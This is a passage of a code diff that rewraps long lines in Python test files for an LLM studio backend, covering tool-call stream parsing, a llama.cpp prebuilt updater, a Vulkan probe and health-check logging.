len(closing) == 1 @@ -2142,7 +2240,9 @@ def test_connect_error_during_tool_call_closes_provisional_card(monkeypatch): import httpx big_code = "total = 0\n" + "\n".join(f"total += {i}" for i in range(120)) - fragments = _streamed_structured_tool_call("python", {"code": big_code}, "call_py_err") + fragments = _streamed_structured_tool_call( + "python", {"code": big_code}, "call_py_err" + ) # Drop the trailing [DONE]; raise a connection error after the fragments # stream (and after the provisional card has been emitted). fragments = fragments[:-1] @@ -2172,7 +2272,9 @@ def test_connect_error_during_tool_call_closes_provisional_card(monkeypatch): assert "Lost connection" in str(exc) assert raised - provisional = [e for e in collected if e.get("type") == "tool_start" and not e.get("arguments")] + provisional = [ + e for e in collected if e.get("type") == "tool_start" and not e.get("arguments") + ] assert len(provisional) == 1 assert provisional[0]["tool_call_id"] == "call_py_err" # The provisional card is closed before the error propagates. @@ -2219,7 +2321,9 @@ def test_empty_tool_call_id_does_not_emit_provisional_card(monkeypatch): ) # No provisional card (empty-args tool_start) was surfaced for the empty id. - provisional = [e for e in events if e.get("type") == "tool_start" and not e.get("arguments")] + provisional = [ + e for e in events if e.get("type") == "tool_start" and not e.get("arguments") + ] assert provisional == [] # The real call still executes despite the missing id. assert calls == [("python", {"code": big_code})] @@ -2325,7 +2429,9 @@ def test_incomplete_bare_json_truncation_is_not_leaked(monkeypatch): assert all('{"name"' not in t for t in content_texts), content_texts -def test_gguf_truncated_ordinary_json_with_name_key_is_shown_not_suppressed(monkeypatch): +def test_gguf_truncated_ordinary_json_with_name_key_is_shown_not_suppressed( + monkeypatch, +): """A truncated markerless object whose "name" is NOT an enabled tool (a person record cut off mid-stream, ``{"name":"Alice","age":``) must still be shown. The end-of-stream ``_is_bare_tc`` heuristic routed any ``{...,"name",...}`` fragment @@ -2416,7 +2522,9 @@ def test_gguf_oversized_disabled_name_json_is_preserved(monkeypatch): cap = 16384 big = "A" * (cap + 5000) answer = '{"name":"Alice","parameters":{"bio":"' + big # never closes - first_stream = [_sse({"content": answer[i : i + 2000]}) for i in range(0, len(answer), 2000)] + first_stream = [ + _sse({"content": answer[i : i + 2000]}) for i in range(0, len(answer), 2000) + ] first_stream.append(_done()) payloads: list[dict] = [] backend = _make_backend(monkeypatch, [first_stream], payloads) @@ -2760,7 +2868,10 @@ def test_gguf_streaming_keeps_bare_args_before_think_block(monkeypatch): assert calls == [], calls content_texts = [e.get("text", "") for e in events if e.get("type") == "content"] assert content_texts, events - assert content_texts[-1] == "Please pass foo[ARGS] pause to the template." + assert ( + content_texts[-1] + == "Please pass foo[ARGS] pause to the template." + ) def test_gguf_inactive_name_args_in_prose_is_not_drained(monkeypatch): @@ -2795,10 +2906,14 @@ def test_gguf_inactive_name_args_in_prose_is_not_drained(monkeypatch): assert not any(e.get("type") in ("tool_start", "tool_end") for e in events), events content_texts = [e.get("text", "") for e in events if e.get("type") == "content"] # The inactive ``foo[ARGS]{...}`` is prose: the name-gated strip keeps the whole sentence. - assert any('foo[ARGS]{"x":1} is just syntax.' in t for t in content_texts), content_texts + assert any( + 'foo[ARGS]{"x":1} is just syntax.' in t for t in content_texts + ), content_texts -def test_gguf_inactive_rehearsal_before_active_call_executes_and_keeps_prose(monkeypatch): +def test_gguf_inactive_rehearsal_before_active_call_executes_and_keeps_prose( + monkeypatch, +): """BUG X (#5704): an inactive ``foo[ARGS]{...}`` before a real ``web_search[ARGS]{...}`` in one delta must NOT swallow the real call; web_search executes while the inactive rehearsal stays visible as prose.""" @@ -2854,7 +2969,9 @@ def test_gguf_rehearsal_prefix_and_tail_hold_recognise_spent_one_shot(): assert not _is_rehearsal_prefix("render_html", active_only) assert _is_rehearsal_prefix("render_html", original) assert _held_rehearsal_tail_len("answer render_html", active_only) == 0 - assert _held_rehearsal_tail_len("answer render_html", original) == len("render_html") + assert _held_rehearsal_tail_len("answer render_html", original) == len( + "render_html" + ) def test_gguf_oversized_bare_json_not_leaked_and_executes(monkeypatch): @@ -2863,7 +2980,9 @@ def test_gguf_oversized_bare_json_not_leaked_and_executes(monkeypatch): cap = 16384 big = "A" * (cap + 5000) full = '{"name":"python","parameters":{"code":"' + big + '"}}' - first_stream = [_sse({"content": full[i : i + 2000]}) for i in range(0, len(full), 2000)] + first_stream = [ + _sse({"content": full[i : i + 2000]}) for i in range(0, len(full), 2000) + ] first_stream.append(_done()) final_stream = [_sse({"content": "done"}), _done()] payloads: list[dict] = [] @@ -2884,7 +3003,9 @@ def test_gguf_oversized_bare_json_not_leaked_and_executes(monkeypatch): ) content_texts = [e.get("text", "") for e in events if e.get("type") == "content"] - assert not any(t.lstrip().startswith('{"name') for t in content_texts), content_texts[:1] + assert not any( + t.lstrip().startswith('{"name') for t in content_texts + ), content_texts[:1] assert calls and calls[0][0] == "python" assert len(calls[0][1].get("code", "")) > cap @@ -2926,7 +3047,8 @@ def test_gguf_textual_fallback_caps_distinct_tool_calls_per_turn(monkeypatch): n = _MAX_TOOL_CALLS_PER_TURN + 4 blocks = "".join( - '{"name":"t%d","arguments":{"i":%d}}' % (i, i) for i in range(n) + '{"name":"t%d","arguments":{"i":%d}}' % (i, i) + for i in range(n) ) first_stream = [_sse({"content": blocks}), _done()] final_stream = [_sse({"content": "done"}), _done()] @@ -2942,7 +3064,9 @@ def test_gguf_textual_fallback_caps_distinct_tool_calls_per_turn(monkeypatch): list( backend.generate_chat_completion_with_tools( messages = [{"role": "user", "content": "go"}], - tools = [{"type": "function", "function": {"name": f"t{i}"}} for i in range(n)], + tools = [ + {"type": "function", "function": {"name": f"t{i}"}} for i in range(n) + ], max_tool_iterations = 1, ) ) @@ -2954,7 +3078,9 @@ def test_gguf_textual_fallback_caps_distinct_tool_calls_per_turn(monkeypatch): def test_gguf_textual_fallback_collapses_duplicate_tool_calls(monkeypatch): """Exact-duplicate textual calls in one turn collapse to a single execution.""" - blocks = '{"name":"web_search","arguments":{"query":"cats"}}' * 5 + blocks = ( + '{"name":"web_search","arguments":{"query":"cats"}}' * 5 + ) first_stream = [_sse({"content": blocks}), _done()] final_stream = [_sse({"content": "done"}), _done()] payloads: list[dict] = [] @@ -2977,7 +3103,9 @@ def test_gguf_textual_fallback_collapses_duplicate_tool_calls(monkeypatch): assert len(calls) == 1, [c[0] for c in calls] -def test_gguf_drain_truncated_enabled_name_json_preserved_when_auto_heal_disabled(monkeypatch): +def test_gguf_drain_truncated_enabled_name_json_preserved_when_auto_heal_disabled( + monkeypatch, +): """Auto-Heal OFF keeps a truncated enabled-name fragment visible; ON suppresses it (strip gated on auto_heal_tool_calls).""" trunc = '{"name":"web_search","parameters":{"query":"weather' @@ -2998,7 +3126,9 @@ def test_gguf_drain_truncated_enabled_name_json_preserved_when_auto_heal_disable auto_heal_tool_calls = auto_heal, ) ) - contents = "".join(e.get("text", "") for e in events if e.get("type") == "content") + contents = "".join( + e.get("text", "") for e in events if e.get("type") == "content" + ) return calls, contents calls_off, contents_off = _run(False) @@ -3015,7 +3145,8 @@ def test_gguf_valid_tool_calls_respect_max_tool_iterations(monkeypatch): # More tool-call streams than the budget: if re-prompt slots leaked into the budget (the bug) the # loop would run 2+3=5 rounds; honouring it stops after 2, then a tool-less final-answer pass. streams = [ - _structured_tool_call("web_search", {"query": f"q{i}"}, f"call_{i}") for i in range(6) + _structured_tool_call("web_search", {"query": f"q{i}"}, f"call_{i}") + for i in range(6) ] payloads: list[dict] = [] backend = _make_backend(monkeypatch, streams, payloads) @@ -3040,7 +3171,8 @@ def test_gguf_valid_tool_calls_respect_max_tool_iterations(monkeypatch): # The final pass is the budget-exhausted nudge and carries no tools. assert _tool_names(payloads[2]) == [], _tool_names(payloads[2]) assert any( - m.get("role") == "user" and "used all available tool calls" in m.get("content", "") + m.get("role") == "user" + and "used all available tool calls" in m.get("content", "") for m in payloads[2]["messages"] ), payloads[2]["messages"] @@ -3126,7 +3258,9 @@ def test_structured_tool_args_stream_to_provisional_card(monkeypatch): # The streamed display path must not perturb execution or the model view. assert executed == [("python", {"code": code})] - assistant_messages = [m for m in payloads[1]["messages"] if m.get("role") == "assistant"] + assistant_messages = [ + m for m in payloads[1]["messages"] if m.get("role") == "assistant" + ] tc = assistant_messages[-1]["tool_calls"][0] assert tc["id"] == call_id # Controller re-serializes args (normalized JSON); parsed payload unchanged. @@ -3186,7 +3320,9 @@ def test_ordinary_json_answer_streams_no_tool_args(monkeypatch): """A large ordinary JSON answer (no enabled tool name) must not spawn a provisional card or tool_args events; it stays a normal content answer.""" - answer = json.dumps({"result": "fine", "data": ["x" * 40] * 12, "note": "not a tool call"}) + answer = json.dumps( + {"result": "fine", "data": ["x" * 40] * 12, "note": "not a tool call"} + ) chunks = [answer[i : i + 64] for i in range(0, len(answer), 64)] stream = [_sse({"content": chunk}) for chunk in chunks] + [_done()] payloads: list[dict] = [] diff --git a/studio/backend/tests/test_llama_cpp_update.py b/studio/backend/tests/test_llama_cpp_update.py index f12384231f..6bf48289f6 100644 --- a/studio/backend/tests/test_llama_cpp_update.py +++ b/studio/backend/tests/test_llama_cpp_update.py @@ -118,7 +118,9 @@ def _clean_state(monkeypatch, tmp_path): monkeypatch.delenv("LLAMA_SERVER_PATH", raising = False) monkeypatch.delenv("UNSLOTH_LLAMA_CPP_PATH", raising = False) # Never hit the network in these tests. - monkeypatch.setattr(freshness, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: None) + monkeypatch.setattr( + freshness, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: None + ) yield freshness.reset_caches() upd._reset_job_for_tests() @@ -127,7 +129,9 @@ def _clean_state(monkeypatch, tmp_path): def _no_prebuilt(monkeypatch): """Stub the host prebuilt probe to 'none available' (no source-build offer).""" - monkeypatch.setattr(upd, "_resolve_prebuilt_for_host", lambda *, force_refresh = False: None) + monkeypatch.setattr( + upd, "_resolve_prebuilt_for_host", lambda *, force_refresh = False: None + ) def _prebuilt( @@ -147,7 +151,9 @@ def _prebuilt( "asset": asset or f"llama-{release_tag}-bin-macos-arm64.tar.gz", "install_kind": "macos-arm64", } - monkeypatch.setattr(upd, "_resolve_prebuilt_for_host", lambda *, force_refresh = False: payload) + monkeypatch.setattr( + upd, "_resolve_prebuilt_for_host", lambda *, force_refresh = False: payload + ) def test_status_no_marker_no_prebuilt(monkeypatch, tmp_path): @@ -321,7 +327,9 @@ def test_installed_version_skips_probe_while_job_runs(monkeypatch, tmp_path): def test_status_update_available(monkeypatch, tmp_path): binary = _write_install(tmp_path, "b9493") monkeypatch.setattr(upd, "_find_binary", lambda: binary) - monkeypatch.setattr(freshness, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: "b9518") + monkeypatch.setattr( + freshness, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: "b9518" + ) st = upd.get_update_status(force_refresh = True) assert st["supported"] is True assert st["installed_tag"] == "b9493" @@ -332,7 +340,9 @@ def test_status_update_available(monkeypatch, tmp_path): def test_status_up_to_date(monkeypatch, tmp_path): binary = _write_install(tmp_path, "b9518") monkeypatch.setattr(upd, "_find_binary", lambda: binary) - monkeypatch.setattr(freshness, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: "b9518") + monkeypatch.setattr( + freshness, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: "b9518" + ) st = upd.get_update_status(force_refresh = True) assert st["installed_tag"] == "b9518" assert st["latest_tag"] == "b9518" @@ -343,7 +353,9 @@ def test_start_update_no_marker_no_prebuilt_refuses(monkeypatch, tmp_path): binary = tmp_path / "llama-server" binary.write_text("stub") # no marker monkeypatch.setattr(upd, "_find_binary", lambda: str(binary)) - monkeypatch.setattr(upd, "_installer_script", lambda: tmp_path / "install_llama_prebuilt.py") + monkeypatch.setattr( + upd, "_installer_script", lambda: tmp_path / "install_llama_prebuilt.py" + ) _no_prebuilt(monkeypatch) res = upd.start_update() assert res["started"] is False @@ -359,9 +371,13 @@ def test_start_update_source_build_installs_prebuilt(monkeypatch, tmp_path): binary.write_text("stub") # no marker monkeypatch.delenv("UNSLOTH_LLAMA_CPP_PATH", raising = False) monkeypatch.setattr(upd, "_find_binary", lambda: str(binary)) - monkeypatch.setattr(upd, "_installer_script", lambda: tmp_path / "install_llama_prebuilt.py") + monkeypatch.setattr( + upd, "_installer_script", lambda: tmp_path / "install_llama_prebuilt.py" + ) _prebuilt( - monkeypatch, repo = "unslothai/llama.cpp", asset = "app-b9585-linux-x64-rocm-gfx110X.tar.gz" + monkeypatch, + repo = "unslothai/llama.cpp", + asset = "app-b9585-linux-x64-rocm-gfx110X.tar.gz", ) captured = {} @@ -405,8 +421,12 @@ def test_start_update_happy_path(monkeypatch, tmp_path): install_dir = tmp_path / "llama.cpp" binary = _write_install(install_dir, "b9493") monkeypatch.setattr(upd, "_find_binary", lambda: binary) - monkeypatch.setattr(upd, "_installer_script", lambda: tmp_path / "install_llama_prebuilt.py") - monkeypatch.setattr(freshness, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: "b9518") + monkeypatch.setattr( + upd, "_installer_script", lambda: tmp_path / "install_llama_prebuilt.py" + ) + monkeypatch.setattr( + freshness, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: "b9518" + ) captured = {} @@ -466,8 +486,12 @@ def test_start_update_preserves_vulkan_via_env(monkeypatch, tmp_path): asset = "llama-b9493-bin-ubuntu-vulkan-x64.tar.gz", ) monkeypatch.setattr(upd, "_find_binary", lambda: binary) - monkeypatch.setattr(upd, "_installer_script", lambda: tmp_path / "install_llama_prebuilt.py") - monkeypatch.setattr(freshness, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: "b9518") + monkeypatch.setattr( + upd, "_installer_script", lambda: tmp_path / "install_llama_prebuilt.py" + ) + monkeypatch.setattr( + freshness, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: "b9518" + ) def _on_start(cmd): _write_install( @@ -509,13 +533,19 @@ def test_start_update_preserves_vulkan_via_env(monkeypatch, tmp_path): (None, False), ], ) -def test_start_update_cpu_fallback_preserved_by_flag(monkeypatch, tmp_path, force_cpu, expect_flag): +def test_start_update_cpu_fallback_preserved_by_flag( + monkeypatch, tmp_path, force_cpu, expect_flag +): asset = "llama-b9493-bin-ubuntu-x64.tar.gz" install_dir = tmp_path / "llama.cpp" binary = _write_install(install_dir, "b9493", asset = asset, force_cpu = force_cpu) monkeypatch.setattr(upd, "_find_binary", lambda: binary) - monkeypatch.setattr(upd, "_installer_script", lambda: tmp_path / "install_llama_prebuilt.py") - monkeypatch.setattr(freshness, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: "b9518") + monkeypatch.setattr( + upd, "_installer_script", lambda: tmp_path / "install_llama_prebuilt.py" + ) + monkeypatch.setattr( + freshness, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: "b9518" + ) captured: dict = {} @@ -541,7 +571,9 @@ def test_start_update_reports_full_release_tag(monkeypatch, tmp_path): install_dir = tmp_path / "llama.cpp" binary = _write_install(install_dir, "b9595") monkeypatch.setattr(upd, "_find_binary", lambda: binary) - monkeypatch.setattr(upd, "_installer_script", lambda: tmp_path / "install_llama_prebuilt.py") + monkeypatch.setattr( + upd, "_installer_script", lambda: tmp_path / "install_llama_prebuilt.py" + ) monkeypatch.setattr( freshness, "_fetch_latest_release_tag", @@ -585,13 +617,19 @@ def test_start_update_pinned_tag_mismatch_fails(monkeypatch, tmp_path): install_dir = tmp_path / "llama.cpp" binary = _write_install(install_dir, "b9595") monkeypatch.setattr(upd, "_find_binary", lambda: binary) - monkeypatch.setattr(upd, "_installer_script", lambda: tmp_path / "install_llama_prebuilt.py") monkeypatch.setattr( - freshness, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: "b9601-mix-a0e2906" + upd, "_installer_script", lambda: tmp_path / "install_llama_prebuilt.py" + ) + monkeypatch.setattr( + freshness, + "_fetch_latest_release_tag", + lambda repo, timeout = 5.0: "b9601-mix-a0e2906", ) _patch_installer_popen( monkeypatch, - on_start = lambda cmd: _write_install(install_dir, "b9500", release_tag = "b9500-mix-deadbee"), + on_start = lambda cmd: _write_install( + install_dir, "b9500", release_tag = "b9500-mix-deadbee" + ), ) job = _run_start_update_to_completion() assert job["state"] == "error", job @@ -605,13 +643,19 @@ def test_start_update_pinned_reroute_to_other_repo_ok(monkeypatch, tmp_path): install_dir = tmp_path / "llama.cpp" binary = _write_install(install_dir, "b9595", repo = "unslothai/llama.cpp") monkeypatch.setattr(upd, "_find_binary", lambda: binary) - monkeypatch.setattr(upd, "_installer_script", lambda: tmp_path / "install_llama_prebuilt.py") monkeypatch.setattr( - freshness, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: "b9601-mix-a0e2906" + upd, "_installer_script", lambda: tmp_path / "install_llama_prebuilt.py" + ) + monkeypatch.setattr( + freshness, + "_fetch_latest_release_tag", + lambda repo, timeout = 5.0: "b9601-mix-a0e2906", ) _patch_installer_popen( monkeypatch, - on_start = lambda cmd: _write_install(install_dir, "b9601", repo = "ggml-org/llama.cpp"), + on_start = lambda cmd: _write_install( + install_dir, "b9601", repo = "ggml-org/llama.cpp" + ), ) job = _run_start_update_to_completion() assert job["state"] == "success", job @@ -621,8 +665,12 @@ def test_start_update_installer_failure_reports_error(monkeypatch, tmp_path): install_dir = tmp_path / "llama.cpp" binary = _write_install(install_dir, "b9493") monkeypatch.setattr(upd, "_find_binary", lambda: binary) - monkeypatch.setattr(upd, "_installer_script", lambda: tmp_path / "install_llama_prebuilt.py") - monkeypatch.setattr(freshness, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: "b9518") + monkeypatch.setattr( + upd, "_installer_script", lambda: tmp_path / "install_llama_prebuilt.py" + ) + monkeypatch.setattr( + freshness, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: "b9518" + ) _patch_installer_popen(monkeypatch, returncode = 2, lines = ["boom: network error\n"]) @@ -655,11 +703,15 @@ def test_rocm_install_args_gfx_family(): def test_rocm_install_args_fork_version_bundle(): # Fork ROCm bundles encode a ROCm version, not a gfx -> forward --has-rocm. - assert upd._rocm_install_args("llama-b9334-bin-ubuntu-rocm-6.4-x64.tar.gz") == ["--has-rocm"] + assert upd._rocm_install_args("llama-b9334-bin-ubuntu-rocm-6.4-x64.tar.gz") == [ + "--has-rocm" + ] def test_rocm_install_args_windows_hip(): - assert upd._rocm_install_args("llama-b9334-bin-win-hip-radeon-x64.zip") == ["--has-rocm"] + assert upd._rocm_install_args("llama-b9334-bin-win-hip-radeon-x64.zip") == [ + "--has-rocm" + ] def test_rocm_install_args_non_rocm_and_missing(): @@ -681,8 +733,12 @@ def _capture_install_cmd( install_dir = tmp_path / "llama.cpp" binary = _write_install(install_dir, tag, repo = repo, asset = asset) monkeypatch.setattr(upd, "_find_binary", lambda: binary) - monkeypatch.setattr(upd, "_installer_script", lambda: tmp_path / "install_llama_prebuilt.py") - monkeypatch.setattr(freshness, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: latest) + monkeypatch.setattr( + upd, "_installer_script", lambda: tmp_path / "install_llama_prebuilt.py" + ) + monkeypatch.setattr( + freshness, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: latest + ) captured = {} @@ -794,7 +850,9 @@ def test_install_cmd_does_not_pin_on_macos(monkeypatch, tmp_path): def test_start_update_already_running_refuses(monkeypatch, tmp_path): binary = _write_install(tmp_path / "llama.cpp", "b9493") monkeypatch.setattr(upd, "_find_binary", lambda: binary) - monkeypatch.setattr(upd, "_installer_script", lambda: tmp_path / "install_llama_prebuilt.py") + monkeypatch.setattr( + upd, "_installer_script", lambda: tmp_path / "install_llama_prebuilt.py" + ) with upd._job_lock: upd._job.update(state = upd._JOB_RUNNING) res = upd.start_update() @@ -839,8 +897,12 @@ def test_update_sets_maintenance_flag_and_unloads(monkeypatch, tmp_path): install_dir = tmp_path / "llama.cpp" binary = _write_install(install_dir, "b9493") monkeypatch.setattr(upd, "_find_binary", lambda: binary) - monkeypatch.setattr(upd, "_installer_script", lambda: tmp_path / "install_llama_prebuilt.py") - monkeypatch.setattr(freshness, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: "b9518") + monkeypatch.setattr( + upd, "_installer_script", lambda: tmp_path / "install_llama_prebuilt.py" + ) + monkeypatch.setattr( + freshness, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: "b9518" + ) backend = _FakeBackend() _inject_backend(monkeypatch, backend) @@ -871,8 +933,12 @@ def test_update_clears_maintenance_flag_on_installer_failure(monkeypatch, tmp_pa install_dir = tmp_path / "llama.cpp" binary = _write_install(install_dir, "b9493") monkeypatch.setattr(upd, "_find_binary", lambda: binary) - monkeypatch.setattr(upd, "_installer_script", lambda: tmp_path / "install_llama_prebuilt.py") - monkeypatch.setattr(freshness, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: "b9518") + monkeypatch.setattr( + upd, "_installer_script", lambda: tmp_path / "install_llama_prebuilt.py" + ) + monkeypatch.setattr( + freshness, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: "b9518" + ) backend = _FakeBackend() _inject_backend(monkeypatch, backend) @@ -894,8 +960,12 @@ def test_update_fails_open_when_backend_unavailable(monkeypatch, tmp_path): install_dir = tmp_path / "llama.cpp" binary = _write_install(install_dir, "b9493") monkeypatch.setattr(upd, "_find_binary", lambda: binary) - monkeypatch.setattr(upd, "_installer_script", lambda: tmp_path / "install_llama_prebuilt.py") - monkeypatch.setattr(freshness, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: "b9518") + monkeypatch.setattr( + upd, "_installer_script", lambda: tmp_path / "install_llama_prebuilt.py" + ) + monkeypatch.setattr( + freshness, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: "b9518" + ) def _raise(): raise RuntimeError("no backend") @@ -907,7 +977,9 @@ def test_update_fails_open_when_backend_unavailable(monkeypatch, tmp_path): monkeypatch.setitem(sys.modules, "routes", routes_pkg) monkeypatch.setitem(sys.modules, "routes.inference", inference_mod) - _patch_installer_popen(monkeypatch, on_start = lambda cmd: _write_install(install_dir, "b9518")) + _patch_installer_popen( + monkeypatch, on_start = lambda cmd: _write_install(install_dir, "b9518") + ) res = upd.start_update() assert res["started"] is True @@ -924,15 +996,15 @@ def test_update_fails_open_when_backend_unavailable(monkeypatch, tmp_path): def test_resolve_prebuilt_parses_and_caches(monkeypatch, tmp_path): - monkeypatch.setattr(upd, "_installer_script", lambda: tmp_path / "install_llama_prebuilt.py") + monkeypatch.setattr( + upd, "_installer_script", lambda: tmp_path / "install_llama_prebuilt.py" + ) calls = {"n": 0} class _Proc: returncode = 0 # stderr noise plus the JSON line on stdout (installer logs to stderr). - stdout = ( - '{"prebuilt_available": true, "repo": "unslothai/llama.cpp", "release_tag": "b9585"}' - ) + stdout = '{"prebuilt_available": true, "repo": "unslothai/llama.cpp", "release_tag": "b9585"}' stderr = "[llama-prebuilt] some log\n" def _fake_run(cmd, **kwargs): @@ -949,7 +1021,9 @@ def test_resolve_prebuilt_parses_and_caches(monkeypatch, tmp_path): def test_resolve_prebuilt_fails_open(monkeypatch, tmp_path): - monkeypatch.setattr(upd, "_installer_script", lambda: tmp_path / "install_llama_prebuilt.py") + monkeypatch.setattr( + upd, "_installer_script", lambda: tmp_path / "install_llama_prebuilt.py" + ) def _boom(cmd, **kwargs): raise OSError("subprocess failed") @@ -1025,7 +1099,9 @@ def test_llama_install_root_ignores_inactive_env_root(monkeypatch, tmp_path): assert upd._llama_install_root(str(binary)) == active -def test_llama_install_root_refuses_pinned_checkout_under_llama_cpp(monkeypatch, tmp_path): +def test_llama_install_root_refuses_pinned_checkout_under_llama_cpp( + monkeypatch, tmp_path +): # The LLAMA_SERVER_PATH pin guard must run before the ancestor scan, or a # user's own llama.cpp checkout could be handed to the installer. root = tmp_path / "my-project" / "llama.cpp" @@ -1045,7 +1121,9 @@ def test_start_update_source_build_refuses_when_newer(monkeypatch, tmp_path): binary.parent.mkdir(parents = True) binary.write_text("stub") # no marker monkeypatch.setattr(upd, "_find_binary", lambda: str(binary)) - monkeypatch.setattr(upd, "_installer_script", lambda: tmp_path / "install_llama_prebuilt.py") + monkeypatch.setattr( + upd, "_installer_script", lambda: tmp_path / "install_llama_prebuilt.py" + ) _prebuilt(monkeypatch, release_tag = "b9518") monkeypatch.setattr(upd, "_installed_build_number", lambda b: 9600) res = upd.start_update() @@ -1058,10 +1136,14 @@ def test_start_update_source_build_refuses_when_newer(monkeypatch, tmp_path): def test_status_not_offered_on_mix_latest(monkeypatch, tmp_path): # Installed the mix latest; GitHub latest is that same full tag -> no banner. - binary = _write_install(tmp_path / "llama.cpp", "b9596", release_tag = "b9596-mix-e6f2453") + binary = _write_install( + tmp_path / "llama.cpp", "b9596", release_tag = "b9596-mix-e6f2453" + ) monkeypatch.setattr(upd, "_find_binary", lambda: binary) monkeypatch.setattr( - freshness, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: "b9596-mix-e6f2453" + freshness, + "_fetch_latest_release_tag", + lambda repo, timeout = 5.0: "b9596-mix-e6f2453", ) st = upd.get_update_status() assert st["update_available"] is False @@ -1073,18 +1155,26 @@ def test_status_not_offered_when_latest_lags(monkeypatch, tmp_path): # A lagging latest (older build than installed) must never be offered. binary = _write_install(tmp_path / "llama.cpp", "b9585") monkeypatch.setattr(upd, "_find_binary", lambda: binary) - monkeypatch.setattr(freshness, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: "b9518") + monkeypatch.setattr( + freshness, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: "b9518" + ) st = upd.get_update_status() assert st["update_available"] is False def test_start_update_marked_refuses_when_not_behind(monkeypatch, tmp_path): # A direct POST / stale banner must not reinstall when already on the latest. - binary = _write_install(tmp_path / "llama.cpp", "b9596", release_tag = "b9596-mix-e6f2453") + binary = _write_install( + tmp_path / "llama.cpp", "b9596", release_tag = "b9596-mix-e6f2453" + ) monkeypatch.setattr(upd, "_find_binary", lambda: binary) - monkeypatch.setattr(upd, "_installer_script", lambda: tmp_path / "install_llama_prebuilt.py") monkeypatch.setattr( - freshness, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: "b9596-mix-e6f2453" + upd, "_installer_script", lambda: tmp_path / "install_llama_prebuilt.py" + ) + monkeypatch.setattr( + freshness, + "_fetch_latest_release_tag", + lambda repo, timeout = 5.0: "b9596-mix-e6f2453", ) res = upd.start_update() assert res["started"] is False @@ -1094,9 +1184,13 @@ def test_start_update_marked_refuses_when_not_behind(monkeypatch, tmp_path): def test_status_update_available_includes_size(monkeypatch, tmp_path): # Marker (prebuilt) update path attaches the download size of the asset the # banner would fetch. - binary = _write_install(tmp_path, "b9493", asset = "app-b9493-linux-x64-cuda13-newer.tar.gz") + binary = _write_install( + tmp_path, "b9493", asset = "app-b9493-linux-x64-cuda13-newer.tar.gz" + ) monkeypatch.setattr(upd, "_find_binary", lambda: binary) - monkeypatch.setattr(freshness, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: "b9518") + monkeypatch.setattr( + freshness, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: "b9518" + ) monkeypatch.setattr( freshness, "latest_release_assets", diff --git a/studio/backend/tests/test_llama_cpp_vulkan_probe.py b/studio/backend/tests/test_llama_cpp_vulkan_probe.py index 92aaab4873..e006d5dddc 100644 --- a/studio/backend/tests/test_llama_cpp_vulkan_probe.py +++ b/studio/backend/tests/test_llama_cpp_vulkan_probe.py @@ -68,7 +68,9 @@ def _make_vulkan_install(tmp_path: Path) -> str: reader's ``is_vulkan_backend`` sibling-file check passes.""" bindir = tmp_path / "build" / "bin" bindir.mkdir(parents = True) - binary = bindir / ("llama-server.exe" if sys.platform == "win32" else "llama-server") + binary = bindir / ( + "llama-server.exe" if sys.platform == "win32" else "llama-server" + ) binary.write_bytes(b"stub") (bindir / _vulkan_lib_filename()).write_bytes(b"stub") return str(binary) @@ -132,7 +134,9 @@ def test_large_discrete_gpu_is_untouched(tmp_path): assert gpus == [(0, 47 * 1024, 48 * 1024)], gpus -def test_inherited_visible_devices_mask_is_passed_through_to_probe(tmp_path, monkeypatch): +def test_inherited_visible_devices_mask_is_passed_through_to_probe( + tmp_path, monkeypatch +): # The mask is NOT stripped or filtered in Python: ggml parses it in raw # physical-device space while this probe reports the compact post-filter # ordinal, so mixing spaces would be wrong. It is passed through unchanged @@ -180,10 +184,14 @@ def test_shell_wrapper_entrypoint_resolves_to_real_lib_dir(tmp_path): # never engage on a valid Vulkan install. import os - binary = _make_vulkan_install(tmp_path) # tmp_path/build/bin/llama-server + vulkan lib + binary = _make_vulkan_install( + tmp_path + ) # tmp_path/build/bin/llama-server + vulkan lib bindir = Path(binary).parent wrapper = tmp_path / "llama-server" - wrapper.write_text('#!/bin/sh\nexec "$(dirname "$0")/build/bin/llama-server" "$@"\n') + wrapper.write_text( + '#!/bin/sh\nexec "$(dirname "$0")/build/bin/llama-server" "$@"\n' + ) os.chmod(wrapper, 0o755) assert _llama_lib_dir(str(wrapper)) == bindir assert LlamaCppBackend._is_vulkan_backend(str(wrapper)) is True diff --git a/studio/backend/tests/test_llama_cpp_wait_for_health.py b/studio/backend/tests/test_llama_cpp_wait_for_health.py index 423c3dd009..7b759fb09b 100644 --- a/studio/backend/tests/test_llama_cpp_wait_for_health.py +++ b/studio/backend/tests/test_llama_cpp_wait_for_health.py @@ -171,7 +171,9 @@ class TestCrashLogTail: records: list = [] fake_logger = mock.Mock() - fake_logger.error = mock.Mock(side_effect = lambda msg, *a, **k: records.append(msg)) + fake_logger.error = mock.Mock( + side_effect = lambda msg, *a, **k: records.append(msg) + ) monkeypatch.setattr(_llama_mod, "logger", fake_logger) return records @@ -216,7 +218,10 @@ class TestRetryLogFilenameUnique: def test_log_name_includes_attempt_index(self): src = ( - Path(__file__).resolve().parent.parent / "core" / "inference" / "llama_cpp.py" + Path(__file__).resolve().parent.parent + / "core" + / "inference" + / 